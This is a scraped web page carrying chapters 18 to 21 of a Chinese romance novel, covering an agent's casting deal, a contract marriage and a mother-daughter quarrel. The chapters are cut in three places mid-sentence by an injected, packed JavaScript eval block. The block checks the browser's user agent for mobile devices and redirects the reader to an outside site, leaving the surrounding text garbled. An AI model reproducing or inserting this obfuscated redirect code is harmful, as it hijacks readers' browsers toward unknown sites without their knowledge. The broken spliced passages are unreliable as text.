沈灼看到岛台上那串卡宴的车钥匙，冷哼一声。她才不会开他的车，要是给他磕了碰了，她可赔不起。 他出差不在家，自己乐得一个人自在呢。 18. 第 18 章 手机“嗡嗡”两声，微信来了一条消息，沈灼看过之后，嘴角扬起一个大大的微笑。 黎雅琦问她关司予下半年有没有档期，她想敲他九到十一月的时间。要这么长时间的档期，她知道《雾灯》的男主是板上钉钉地拿下了。 这几天她等的心急如焚，现在好消息来了，她懒得再想些不相关的事了。对她来说，工作才是最要紧的。 沈灼热切地回复了对方，当即约好下午一起见个面，两个主演也彼此认识一下。然后又先后通知步繁和关司予，下午一起先见见制片人。 关司予回复得很快，也很简单：“谢谢沈灼姐。” 下午两点半，沈灼定在一个中式风格餐厅，有下午茶，还可以提供包间。 她带着关司予提前到了，点了几款正推出的春日限定茶和甜品，没多久步繁和黎雅琦也先后到了。 几个人先是互相介绍热络一番，而后沈灼将话题引到《雾灯》上。 见黎雅琦杯中茶水见底，沈灼便顺手拎起茶壶，细细地替她斟满，笑着开口说：“雅琦姐，你现在见了人，觉得他俩和角色是不是挺搭的？” 黎雅琦笑笑：“步繁我们十年前就合作过，没的说。今天一见司予，我心里更踏实了。” 沈灼弯了弯唇角。 “不过《雾灯》是个挺有挑战的戏，我们也和导演讨论过，整个片子的调性偏冷，感情也非常克制。既要求演员功底，也考验整个制作主创。”黎雅琦说。 提到导演，坐在沈灼身旁一直沉默的关司予忽然抬眼，他正了正身子开口问：“雅琦姐，我能问问，现在定下的导演是谁吗？” 黎雅琦回答：“乔新越，不知道你有没有看过他前两年拍的《四片叶子》，还挺不错的。” “不该是这片子的编剧来执导吗？”关司予的语气淡淡的，一张脸几乎看不出什么情绪波动，可就让人听着他很迫切知道这个问题的答案。 沈灼听了直皱眉，国内的片子大多导演和编剧并非同一人，按理关司予不会问出这样的蠢问题。“司予，导演和编剧分开也是很正常的。乔导经验也很丰富，合作起来放心。”她不想让黎雅琦觉得关司予是个什么都不懂的草包，赶紧打圆场。 黎雅琦回答：“这个剧本是我买下来的，编剧现在人还在国外回不来。怎么，你认识编剧？” “不，不认识。”关司予垂下眼角，“我只是觉得乔导的风格可能和这片子的气质不太搭，一般原创编剧可能更会知道片子想要的效果。” 沈灼瞪了他一眼，差点没踢他小腿。 什么时候能轮得到他来置喙导演人选啊，直接否定制片人和资方的意见，他还想不想当男主了。他要真惹得黎雅琦不高兴，《雾灯》别说男主了，他可能连个雾都见不着。 沈灼轻咳一声，眼神示意他赶紧打住。 好在黎雅琦没有露出任何不悦，微微一笑：“看出来司予认真看剧本了，导演之前接这本子也有顾虑，不过他也很喜欢，现在有时间就拉片找合适的风格。之后有时间我安排你们和导演先见一面，可以好好聊聊角色。” 一句话，不但化解了尴尬，还给足了演员面子。 沈灼这才悄悄松了口气，心想黎雅琦不愧是做了这么多年项目的制片人。她干脆也顺势附和：“司予其实是那种特别注重剧本内容的演员，进组之前，他肯定是提前做足功课的。哎，步繁你还不知道吧，司予当时知道是你出演女主，可是求我一定要帮他争取这个本子，说想和你合作，跟你学习，演不了男主演个配角都行。” “是吗？”坐在关司予对面，一直在回复消息的步繁突然抬起头，她笑着望向关司予，眼神意味深长，“我还真不知道这个事儿。” 关司予很礼貌地笑笑：“嗯，繁姐是国内文艺片女演员天花板，能一起合作是我的荣幸。” 步繁盯着他笑了笑，没再说话，只是眼神总有意无意地飘过去。 突然轻响两声敲门声，是步繁的助理来提醒她要准备下个行程了。 步繁说：“不好意思，那我就先走了，等我进组之前咱们找时间吃个饭。” 沈灼和黎雅琦一起说：“行。” “那我就撤了，拜拜。”步繁又看了眼关司予，“司予，下次见。” 关司予微笑着冲她摆摆手，“嗯，繁姐拜拜。” 步繁离开之后，关司予又坐着闲聊一会儿也离开了，剩沈灼和黎雅琦两个人，又具体沟通了下两个主演的片酬，不过双方意向都很高，谈下来也很顺利。 “那合同到时候我拟好了发你。”黎雅琦说。 “行，不着急。”沈灼笑了下，“要是还有什么角色没找到合适人选，还可以找我。我们公司有几个小孩都挺不错的。” “还说呢，听说不用郜远之后，星瀚那边也有有意向的艺人，我死卡着给顶回去了。”黎雅琦冲她扬扬下巴，“我可够向着你了。” 沈灼笑着谢过。 黎雅琦感慨一句：“其实关司予和步繁，是那种不会出错的演员。出圈不一定，爆红也不一定，但是成片我相信我肯定是满意的。” “更何况你。”黎雅琦笑笑，“现在是公司核心高层了吧，还亲自带人，说不定又带出来一个影帝，那我就赌一赌呗。” 沈灼听着，微微动了下嘴角：“我是对他们有信心。但是现在确实是机会太少，所以有好的本子我不想错过。不过最后人能不能红，我说了也不算，确实是赌了。” 黎雅琦点头，“我懂你这个劲儿，有时候碰上个好苗子，真是想帮一把，让别人看到他们身上那些你早就看到的好东西。” “是啊，你懂我。”沈灼笑道。 黎雅琦靠在椅背上，也笑了：“那就各赌各的呗，你赌人，我赌你。” * 与此同时，Dreamora的大会议室气氛却是十分严肃沉闷。 长桌两侧坐满了人，从市场部到产品开发部，从法务到品牌战略，几乎所有核心业务部门的负责人都在。 今天会议有两个关键议题，一是敲定与艺人合作的最终人选，二是年初邵成章就提出开发影视项目。 邵成章是有野心的，他绝对不想只是建立一个潮玩公司，而是想打造一个王国，就像迪士尼一样。因此将热门IP发展成系列电影是第一步，目前子公司已经成立，备案通过，已经拿到了拍摄许可证。 第一个议题还算顺利，邵成章几乎不给大家多余讨论的时间，他沉稳冷淡地将沈灼前一晚与他分析过的内容转述了一遍，精准清晰。各部门简单补充后，很快达成一致：尝试与当前最具话题度的流量明星团队接洽。 可当话题进入第二部分，全场顿时陷入沉默。 没人轻举妄动，这一切归功于陈航开会前十分钟在群里发的提醒：“邵总今天心情不太好！！！”三个感叹号，足以说明事情的严重性。 这让大家今天更是如履薄冰。 陈航一早进公司时，总裁办公室的灯就已经亮着。他直觉不妙：老板今天来的有点早啊。 果不其然，汇报完例行安排后，整个办公室安静得出奇。邵成章垂眸坐着，眉眼淡冷，眼底隐约透着一丝没睡醒的阴霾，像是昨夜根本没合眼。 工作上的进度都在稳步推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645536|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进，说明问题并不在业务，那只能是私事。 老板虽然年轻，可在工作上要求非常严格，先前某产品经理在季度会推出一个IP设计风格“向低幼化靠拢”，以覆盖更广泛儿童市场，结果被邵成章当场打断，骂得狗血淋头。整整两个设计小组一个多月的努力直接被否。 会议室内，大家小心翼翼地交换着眼神，谁都不敢率先发言。 “Evelyn，你先说一下吧。”被邵成章点到的是战略投资部的总监。 “哦，好。”Evelyn将PPT投影到大屏幕上，意简言赅地阐述可行性报告。 当初在备案选择的时候，邵成章就做了双重准备，两个故事大纲分别进行了动画电影申报和故事影片申报，最后投资部认为可以先从故事影片入手，重新设计角色IP，搭档流量演员，在贺岁档上映。 邵成章听完之后，扫视了一圈：“还有没有不同意见？” 整个会议室的人摸不准邵成章的态度，他淡着一张脸，喜怒不形于色，也不知道是赞成还是否定。 “内容部什么想法？”他问。 内容部负责人说：“我们认为先做动画电影比较好，对标的《嘿嘿历险记》，在大电影之前已经有广泛的粉丝基础，电影成本4800万，票房3.7亿，衍生品收入超8000万。数据表明是可行的。” “但是做电影周期太长，资金回笼太慢，而且要考虑纯动画电影，Dreamora的IP角色是否全线参与，还是只推一个作为第一形象？”Evelyn提问道。 IP管理部负责人接上：“不建议采用全线角色参与，会牵涉到IP形象的再定义，这意味着周边开发、授权合作和原有设定都要重来，风险太大了，容易OC遭反噬。” “可新IP没有粉丝支撑，一上来拍真人，观众凭什么买单？”内容部坚持反驳，“IP没有群众基础就拍真人片，风险同样高。而动画更适合建立第一波情感连接和形象认知。” 几个部门各执一词，现场陷入僵局。虽然分歧明显，但所有人都在等那个最终定夺的声音。 “这次先定真人电影。”邵成章终于开口：“消费者买我们的产品，是相信它们可以提供情绪价值。目前我们在潮流感、设计美学和消费欲望触发上，毫无疑问是优于市场平均水平的，但我们的弱项也显而易见——IP没有故事性，自然缺乏可持续的文化沉淀。给你们两个星期的时间，协助子公司找到熟悉公司内核的创作班底。” 会议室鸦雀无声。 “有问题吗？”他语气平静，却带着不容拒绝的压迫。 众人这才纷纷回应：“没有。” 在邵成章说散会走出会议室之后，大家唉声叹气，像被霜打了的茄子。 邵成章回到办公室，摁亮手机屏保发现有微信消息，他赶紧解锁查看，却发现全是工作或者社交消息，想要有红点的对话框却毫无动静。 他点开在置顶的沈灼的对话框，最后一条消息还是几天前沈灼搬来的那个晚上。 陈姨应该告诉她自己留了车钥匙吧，她什么都没表示？他在页面上往上滑了滑，好像能刷出来新消息一样，然而聊天页面还是安安静静的。 鬼使神差地点进她的头像，却发现她更新了朋友圈，邵成章点进页面。 沈灼在半小时之前发的，一张下午茶的图片，配了一行字：吃甜品果然心情会更好~ 她还在评论里分享了店名，以及强烈推荐限定的柚子酪。 邵成章抿抿嘴巴，直接锁了手机扔在一沓文件上。抬手摁下内线电话，他让陈航给他准备一杯冰美式。 19. 第 19 章 琨廷酒店的总统套房内，落地窗外夜色沉沉，邵成章坐在豪华宽敞的客厅里，手边搁着一台没关屏的笔记本电脑。 “我说，你又怎么了，有家不住跑来这。”梁屿琛端着两杯红酒过来，随手将一杯推到茶几边，他在旁边的单人沙发坐下。 之前邵成章不愿意回益海山庄，所以很长一段时间他都住在这里，自从悦澜湾装修好了，邵成章有几年都没过来住了。 邵成章没看他，拿起酒杯，靠进沙发深处，嘴唇轻轻碰了一下杯沿。搁置在一旁的手机亮起，是沈灼回复的消息。 他算是知道了，如果他不主动给沈灼发消息，沈灼确实是不会搭理他的。 就算不关心他的去向，可是家里还有阿瑞斯呢，沈灼怎么也不发消息问问他呢，她一个人搞得定吗？ 邵成章心不在焉，看表已经十点了，他犹豫再三，还是没忍住先给沈灼发了一条信息，提醒她帮忙给阿瑞斯喂食。 很快手机震动。 沈灼回复：“已经喂了。” 哦，原来已经喂了啊……还有什么呢，邵成章忽然想到晚上还要关掉爬箱的日光灯和UVB灯，他立即给沈灼发消息，晚上只留一个加热夜灯即可。 沈灼按他的指示关掉了灯，而后给他拍了一张照片让他确认，显然拍得很随意，甚至都有点糊。 他盯着那张图看了几秒，唇角缓慢地、几不可察地弯了一下。 “和谁聊呢？”梁屿琛看到邵成章盯着手机莫名其妙的笑容，感到惊讶。 “没谁。”邵成章收了手机，又拿起电脑处理工作。 梁屿琛显然不信：“不可能，你肯定有情况，该不会是金屋藏娇了吧？是谁？” 一连串的问题让邵成章无语，“梁屿琛，你一个男人怎么这么八卦。” “八卦是人的天性。”梁屿琛见他没否认，意味深长地笑了笑，“你还没有回答我的问题。” “无聊。”邵成章瞥了他一眼，又拿起酒杯抿了一口酒，“你今天不去‘渡’吗？梁老板这么闲？” “工作哪有陪你重要。”梁屿琛笑吟吟地说，“你不告诉我，明天我就去你家看看到底什么情况。” 邵成章知道梁屿琛能干出来这事，只好简单交代了一下他和沈灼现在的情况。 梁屿琛听完沉默了一会儿，琢磨过来就乐了。 为了应付家里找人结婚这事儿，梁屿琛倒没有很惊讶，对邵成章来说，达到目的最重要。反而引起他兴趣的是他竟然为了那女人一句话，跑出来住酒店。 “你说实话，是不是喜欢人家女孩。”梁屿琛问。 邵成章哼笑一声：“你以为我和你一样天天发情。” 梁屿琛“啧”了声，“注意措辞，那是顺从自由意志做出的本能反应。” 邵成章懒得搭理他。 “要不然人家想搬出去住你为什么自己跑出来了？”梁屿琛乐不可支，“你知道你这叫什么吗？” 邵成章滑在触摸板上的指尖一顿，抬眼看向他，等着他说答案。 “心机男。”梁屿琛笑得贼贼的，“你就嘴硬吧。” 邵成章随手扔过手边的抱枕砸在梁屿琛怀里，顺便一个“滚”字也一并丢给他了。 “行，听邵总的，我麻利利地闪人了，毕竟我可不舍得让佳人久等。”梁屿琛喝下最后一口酒，起身离开。 他走了几步后又转身冲着邵成章吹了个口哨，“哎，邵成章，你真的完了你。”在第二个抱枕飞过来前，他已经闪得没影儿了。 客厅里重新归于沉静。 邵成章盯着满屏的文字，却一个字都看不进去。他眉头轻蹙，伸手将电脑合上，仰头靠进沙发背里。 他不认为自己适合谈恋爱，爱情对他来说，实在是没有用的东西。 大学那会儿，他有过一段短暂的感情。 对方是个阳光的华裔女孩，性格热烈开朗，主动追了他一阵。两个人正式交往后，他依然忙着学业和准备创业想要摆脱家里，几乎没为这段感情额外留出任何空间，对她的问候和分享常常敷衍、回应冷淡。一个月后，对方忍受不了提出分手，他没有挽留，只觉得轻松。再后来，他创立了Dreamora，也分不出多余的时间去谈恋爱了。 当然，在他看来，谈恋爱更多是一种麻烦。 因为没有一个人会完全地理解另一个人。他不想浪费时间去了解一个在他未来规划里会随时会有变数的人 会有人无条件的爱另一个人吗？邵成章是不相信有这样的爱的。 对于邵成章来说，感情并不是理所应当的存在，而是一种需要被谨慎处理、必要时规避的变量。 但沈灼于他，却是个例外。 他发现和她相关的事他竟然会有期待。期待她住进自己的房子里，允许她分走一半自己的私密空间，做她喜欢吃的菜，听到她的夸奖，一起聊各自事业或者爱好，甚至他总是忍不住想靠近她。 听到沈灼说想搬出去，他第一反应是生气，脑中蹦出来的念头是反思——是不是哪里做得不够好，还是她觉得和他相处太有压力了？这种情绪一闪而过，却让他感到极不适应。 其实梁屿琛说得对也不对，他搬出来住，一是不想沈灼离开悦澜湾，二是他需要冷静一下。 * 两天过去，邵成章依然没有回来，沈灼已经在这里呆着很自如了。 她路过卧室的开放式衣橱时，突然停下了脚步。那一格，是邵成章放常穿衬衫的地方，他习惯将浅色和深色分类挂放，几乎各占一半。可现在，那排浅色系明显空了一截，只剩下两件挂在那里。 沈灼眉头轻蹙，盯着看了好几秒。早上她在这边找衬衣时，明明挂着的衣服还是满格的…… 难道是他自己回来过，拿走了？他不是出差了吗？ 她忽然冒出一个念头——邵成章会不会根本没出差？！ 他搬出去住了？不至于误会她那天说的话以为她讨厌他吧？她可真没那意思！ 这个邵成章真的是……明明是他家啊……她抿着嘴巴，心里一阵堵，不会是又给人添麻烦了啊…… 沈灼忽然很想给他发个消息，问一问他在哪，她打开手机，点开和邵成章的聊天界面，指尖悬在输入框上几秒，最终还是锁了屏。 算了算了，腿长在他身上，又不是她赶他走的！她抱歉什么？！ 正想着手机进来一条消息，她欣喜地解锁，发现是姜珺发来的消息，竟然感到一丝丝的失望。 姜珺：“宝贝，五一回来吗，想你了我。” 沈灼抿着嘴唇，想了想才敲字：“应该不回。”后面加了个哭哭的表情包。 她决定去迟女士那待几天。 姜珺奇怪：“你这是干嘛去了，什么时候回来啊？”若是开机或者去探班，也就三四天回来了，但沈灼这次离开的时间已经比之前都要长，现在也不是去国外时装周的时间。 什么时候能回家，沈灼也不知道，只好回复了个还不确定。 姜珺：“你没出什么事吧？” 沈灼说没有，让她放心等她回来。姜珺发了个抱抱的表情包，而后又给她发了几张自己做的甜品，她新接的项目是个网剧，女主是个烘焙师，她最近都在家里研究学习做甜品找感觉。 “你不在都没人给我当小白鼠了。”姜珺和她抱怨。 沈灼发了个哈哈：“那正好我回去了你就学会了。” 姜珺八卦：“你最近和你老公怎么样了” 沈灼无语：翻白眼.jpg。 姜珺发了一串哈哈哈，问她：“他没联系你？没找你啊？” 找了，不仅找了，还住一起了。沈灼抿着嘴巴，不知道该怎么和姜珺说。一想到她骗了姜珺，她就很心虚自责，可是莫名的又不敢和她说实话，只好回了个没有。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657904|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜珺震惊：“啊？！这人怎么回事儿啊，放着这么漂亮的老婆理都不理？他是狗不理啊？” 沈灼“噗嗤”笑出声，回复：“你是情人眼里出西施才觉得我好看。” 姜珺：“才不是，我只是在描述客观事实。” 两个人又聊了会别的，直到沈灼准备休息才互道晚安。 * 五天小长假如约而至，邵成章依旧没回来，沈灼让陈姨这几天也不需要过来，她也没想在悦澜湾呆着，在放假的第一天去了迟女士那里。 迟女士见女儿回来了，一边接过她手里的水果，一边笑呵呵地问：“最近怎么样啊？” 沈灼低头换拖鞋，没多想，还以为问的是她，“还行挺好，就那样呗。” 迟女士进了厨房，调高了些音量：“什么叫就那样啊？你们接触到哪一步了？” 你们？哪里来的你们？沈灼一反应，才知道迟女士问的是她和邵成章怎么样。 沈灼趿拉着拖鞋走到沙发往里一陷，半个身子搭在宽宽的沙发扶手上，朝着厨房喊：“妈，你不关心关心你闺女，关心个男人干什么？”还是回到自己家舒服，在邵成章家里总得端着，累。 一会儿她听到水流的哗哗声，迟女士洗好她买的桃子，端着出来放在茶几上，“让你不吃外卖不喝酒，你能听进去吗？这么大人了，还坐没个坐样，好好坐着。” 沈灼“哎呀”了一声，起身去洗了个手，回来路过茶几伸手拿了个油桃啃。 什么时候告诉迟女士她和邵成章已经结婚了比较好呢？也不知道她知道了什么反应。想了下，还是等会儿吧。 迟女士中午准备做水饺，现切菜和面。沈灼说简单吃点不要那么麻烦，迟女士说很快，她在阳台上种了一大盆韭菜，正好最后一茬。没一会儿迟女士手里握着一把韭菜进了厨房。水流声，盆碗声，刀刃和案板上互相接触的砰砰声，轮番进入沈灼耳朵。 迟女士在家里做了几乎快一辈子的饭，动作麻利迅速，沈灼很主动地进去帮厨。不过她只会擀皮，擀出来的面皮还是厚薄不一，形状各异，总之怎么也擀不出个圆形的来，每次迟女士都会嫌弃，还得顺带说她一句，“包饺子也学不会，你以后结婚了怎么办，婆家人都嫌弃你。” 沈灼说：“我就非得伺候别人啊，怎么不是男的给我包饺子呢。” 迟女士说：“那你要能会做饭的会照顾人的最好不过了。” 沈灼一想，邵成章还真会做饭，而且做饭还很好吃，至于照顾人吗……她霸占了他的卧室，他只能睡地上，在客厅办公，某种程度也算是照顾她吧。 这么一想，他还挺不错的。她还是有眼光。 “妈，如果我结婚了你会怎么样？” 迟女士手上动作不停，将饺子皮对折按压，一个饺子就在手里成型了，她轻轻丢在案板上，“那我肯定高兴啊，我可得放两挂鞭好好庆祝，这以后也没什么惦记的事儿了我就去各地旅游去。” 饺子出锅，热气腾腾地端上桌。吃得差不多了，沈灼放下筷子，很随意地说：“对了和你说个事儿啊，我和邵成章领证了。”她说得无比自然，彷佛领证是一件生活里微不足道的小事一样。 “是吗，你们决定结婚了？”迟女士面上一喜。 “不是。”沈灼说，“我们俩已经领过证了，你现在可以买鞭了。明天你就能出去旅游。”说着说着沈灼笑起来。 “你是在开玩笑还是认真的？”迟女士突然严肃起来。 “当然是认真的。”沈灼点点头，“我骗你这个干什么。”她抬起右手，给迟女士展示她手上的戒指。 “沈灼！”迟女士大喊，“你这孩子怎么回事？！结婚这种事能随随便便就办了吗？你和他才认识多久，你了解他吗你就和人家结婚？” “不是你说他挺好？对他挺满意的吗？我和人家真结婚了你又不乐意了。”沈灼说。 20. 第 20 章 迟女士情绪明显上来了，声音比刚才拔高了一个度，“我只是说人家条件挺好，那人什么样你不相处一下能知道吗？结婚是一辈子的事，你怎么对自己这么不负责任？！我……我这辈子就是把希望都押错人身上……” 沈灼微怔，手指下意识握紧了些。 迟女士很少提起沈灼父亲，那个在女儿上高一时就突然彻底从她们生活里消失的男人。 “我不是你，我也不认为婚姻是一辈子的事，过得不合适就离。”沈灼压着情绪，“那你现在要我怎么办，我俩现在去离婚吗？” “你这说的什么话？我是这个意思吗？”迟女士气得发抖，口不择言道：“你只想着自己，从来不考虑别人。” “我怎么不考虑别人了？”沈灼声音陡然拔高，眼睛都红了，“不就是你想让我和他结婚吗！我没考虑你吗？” 迟女士被她这番话怔住，眉头猛地皱起，“你跟他结婚，难道是为了我吗？” “要不然呢！”沈灼终于喊了出来，眼圈通红，“我想让你放心，别老惦记我了，去做点自己喜欢做的事，不用再替我操心。现在我结婚也是错了？！” “你——”迟女士气得话都说不利索，“你太荒唐了……婚姻是拿来哄父母的吗？你根本不懂什么是负责！你就是跟你爸一个样，从来都只想着自己！太自私了！”迟女士朝着她吼道。 这句话像刀一样扎进沈灼的心里。 她整个人僵住，呼吸急促，眼泪突然就掉了下来。 “你说什么？”她哑声问，声音几乎微不可闻。 “你拿我和他比？”眼泪扑簌簌掉下来，声音却越来越尖，“我最恨的就是他！你拿我和他比？你觉得我像那个抛下你的人？” 迟女士也怔住了，张了张嘴，却没能说出什么。 沈灼再也忍不住，起身走向门口。她狠狠摔上门，震得门框一颤。脚步匆匆冲下楼，她一边走，一边抹掉止不住的眼泪。 我到底哪一点像他了？我拼了命想跟他不一样。 她努力读书，努力工作，努力赚钱，甚至结婚，就是想让迟女士感到欣慰。即使她的婚姻失败，可她还有个还不错的女儿……可她一句话，就将自己全否定了。 她从没觉得自己那么委屈过，她这么做，到底是为了谁啊。 沈灼一边打车一边哭，眼泪滴答滴答糊了手机满屏。直到走到小区门口，她还没有平复，抽抽噎噎的，手机有来电，她的眼睛模糊一片，以为是司机师傅，她没看清来电直接接听。 “喂，师傅，我在小区门口了。”沈灼说话还哽咽着带着哭腔，都不用仔细听就知道哭了。 可半晌，没听到对方的声音，她又“喂”了一声。 “你哭了吗？”传过来的声音低沉冷冽，是邵成章，“和你妈妈吵架了？” 迟女士在沈灼出门的那刻，立即给邵成章去了电话，问他和沈灼结婚是不是真的。在他这再次得到确认答案之后，迟女士非常生气，让两个人立即一起回家里一趟。 沈灼深呼吸平复了下，她吸吸鼻子，应了一声。 “先回家吧，好吗？我们一起商量一下？”邵成章温柔地说。 “你不是出差了吗？”沈灼问。 “嗯，已经回来了。” 网约车已经到了，沈灼挂了电话后直接上车，和师傅抱了手机尾号后说要改一下地址。 “啊？”司机回头看了她一眼，“不是悦澜湾吗？” 沈灼一愣，她的位置本来就定在悦澜湾而不是自家小区吗…… “你要改地址的话就在平台上，我们改不了的啊。”司机又补充道。 “哦。”沈灼吸吸鼻子，擦了下眼泪，“不用了师傅，就去悦澜湾吧。” 节假日第一天疯狂堵车，原本半小时的车程硬是堵了一个小时。 到家之后她几乎已经平复下来了，只是眼睛还有点发红，见到邵成章的时候，有些不好意思看他。她先去洗手间摘下隐形又洗了把脸，而后戴上了一副黑框眼镜。 邵成章坐在沙发上，手指了指茶几，看向她，“吃吗？” 沈灼走过去，发现有一盒提拉米苏，她一怔，问：“你买的？” “嗯。”邵成章记得她发的朋友圈，“吃点甜的，心情会好。” 沈灼心里微微一动，低声说了句：“谢谢。”她现在确实想吃点甜的。 “你什么时候回来的？”沈灼盘腿坐在茶几边，开始拆提拉米苏。 “上午。”邵成章回答。 沈灼只是客气地问一下，她现在毫无心思思考邵成章的事情，她拆开提拉米苏的包装盒拉近到茶几边上，拿起叉子默默吃了一口，才问：“你想聊什么？” “你妈妈让我们一起回去，听她的语气似乎对我们结婚的事很生气，所以我们是不是应该做些准备？” “准备什么？” “我想知道你和你妈妈为什么会吵架？是因为结婚这件事我们没有提前和她商量吗，还是她对我这个人不满意？”邵成章问道。 沈灼低头戳着那块提拉米苏，叉子轻轻刮过底部的纸杯边缘，发出细微的摩擦声。 她没立刻回答邵成章的问题。 要真说起来，又是长长的事情。 邵成章对沈灼一点不了解，她就需要从头和他讲起，好麻烦……而如果姜珺在这，她只需要说一句话，姜珺就能明白她生气委屈的点。 沈灼有时候不想谈恋爱，就是因为觉得太浪费时间。 喜欢心动是简单的，亲密却是麻烦的。得打开自己，得分享过去，得解释反应，得一遍遍去校准彼此的频率。 而她和姜珺，已经有了现在这种无需言说的默契。不是因为她天生懂她，而是因为她们在一起十几年，都熬过了彼此的青春，那些话没说出口，也知道对方在想什么 现在让她把那些事从头对邵成章讲一遍，那还是算了，她宁愿再多吃两块蛋糕。 沈灼说：“和你没关系。”一想到迟女士那句“和你爸一个样”，她心里就堵得慌，不顾及什么形象地默默叉了一大口提拉米苏送进嘴里。 邵成章垂眼看着她，感应出来沈灼并不想和他分享什么，他有点失落。 沈灼吃完了整块的提拉米苏，对着邵成章笑笑，“提拉米苏很好吃，这家加入白名单。” “心情好点了吗？”他问。 她整个人还有点蔫儿，但还是笑着冲他点点头，又再次道了声谢。 他感觉自己像是养了只小猫，小猫在外面受欺负了，回家就要吃罐头顺顺毛。 邵成章几乎是无意识地轻轻笑了下，声音藏在喉咙里，让人察觉不到。 “其实也可以理解，如果我的女儿突然回来和我说他和一个男人结婚了，我想我也会很生气的，毕竟我对那个男人也一无所知。”邵成章突然说。 沈灼一撇嘴，说得好像她很不懂事很不会换位思考一样。 “你妈妈还说让我们一起回去。” “不用管她，就说你忙。”沈灼和迟女士这么多年吵架也不是一次两次了，以前也不是没有过她摔门而去作为收尾的时候，只要等双方冷静下来，过上十天半个月，也就接受了，这件事就会自然而然地过去。 “可是我已经答应了。”邵成章说。 “……” 邵成章看着她，和她商量：“如果你下午没安排的话，一起去买点东西吧。” 沈灼不解地看着他。 “女婿上门去看丈母娘，总不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈灼不知道家里缺什么，基本这块都是陈姨负责，她逛到烘焙区，走得越来越慢，一样样挨着看过去，然后目光落在一盒开心果酱巴斯克上。 邵成章提醒她道：“你今天已经吃了一块提拉米苏。” 沈灼听了，皱眉看向他，十分不悦，提这档子事干什么！她瞪了他一眼，手已经不受控制地从保鲜柜里拿起来了。“这个我自己单独付，不和你的掺在一起。” “不是钱不钱的问题，是你今天已经——” “你烦不烦啊……”沈灼另一只手已经背起来了，“要不然石头剪刀布。” 又来，邵成章无奈地浅笑了一下，配合着她出拳。 沈灼出得慢了点，她本想出剪刀，眼尖地看到邵成章出拳头，她又临时改了布。 一局定音，谁赢了听谁的。 “哈哈，我赢了。”她扬扬下巴，眉飞色舞地冲他炫耀。 “是你出慢了。”邵成章嘴角含笑地看着她。 “那我不管。”沈灼十分得意地将那盒巴斯克放进了购物车里。 “行吧，买。我愿赌服输。”邵成章十分宠溺地说。 买完东西，已经快到晚饭点了，邵成章提议在外面吃完饭再回去，沈灼也十分同意。她还惦记着欠他一顿饭呢，而且今天光是给迟女士买东西，他又花了小两万。沈灼结账听到收银员报金额的时候差点以为她是不是说错了。 “今天必须我请。”沈灼提前和邵成章说好，直到他点头，她才开始找餐厅。 附近有一家黑珍珠寿司店，人均二千，沈灼心里一边流泪滴血一边打电话询问店家还有没有位置。 刚好，他们赶上了，是当天能接待的最后两位客人。 21. 第 21 章 店内安静舒适，整个风格处处透着日式侘寂美学，黑胶唱片机缓缓播放着爵士乐，寿司吧台隔断用餐区域和后厨。他们是第一组到达的客人，主厨便贴心地安排他们坐在了正中间的位置。吃寿司必然要搭配清酒，沈灼又点了一小壶日本獭祭23清酒。 沈灼本以为会这么安静地坐着，吃完晚餐即可，可没想到主厨十分健谈，他一边在吧台后处理食材，一边热情地和他们闲聊，甚至还问到了两个人的关系。 邵成章不紧不慢地回了句：“我们是夫妻。” 主厨眼睛一亮，语气夸张地“哇”了一声，“你们看起来真的很配呢！不过嘛……还是你太太更好看一点。”他笑得眯起眼睛，语气夸张得像极了沈灼印象中日剧里热情又略显浮夸的日本长辈。 沈灼一时间有些不好意思，只得勉强扬了扬嘴角，说了声“谢谢”。 每上一道菜品，主厨都会向他们介绍一番，或食材或吃法或器皿，更多是邵成章在跟主厨谈笑风生，沈灼偶尔应一两句，大多时候都在沉默地听着。 她原以为邵成章是比较沉默寡言的人，现在反而是他们聊得有来有回。她听着邵成章和主厨分享他去各个国家旅游或者吃日料的经历，慢慢地又聊到了兴趣爱好，自信又从容。 如此健谈，是她没见过的样子。 邵成章观察到沈灼吃的速度明显慢了下来，他微微侧首倾身，问她：“感觉快吃饱了吗？寿司有十一贯，需不需要让主厨将寿司的米饭部分少放一点？” 沈灼有点惊讶他的细心，听到邵成章的建议，她点头，于是邵成章便要求让主厨在沈灼的那份寿司里少放点米和调味。 “真是贴心啊，看起来你很了解你太太，结婚很多年了吗？”主厨问。 邵成章笑了下：“没有，我们结婚不久。” “新婚吗？”主厨又“哇”了一声，“新婚快乐哦。” 两个人异口同声地说了声“谢谢。” 十一贯的寿司沈灼没有吃完，她吃到第五贯就已经在捂着嘴巴遏制打嗝了，剩下的几贯主厨都给了邵成章。 最后沈灼结账的时候，被侍者告知已经结过了。邵成章一直都坐在她身旁，到底是什么时候去买的单呢。想来想去，只能推断出来大概是饭前她去洗手间的那点时间。 她转头看向邵成章，撇撇嘴道，“哎，说好了我请客的。” 邵成章微微一笑：“我实在是没有让女士买单的习惯。” 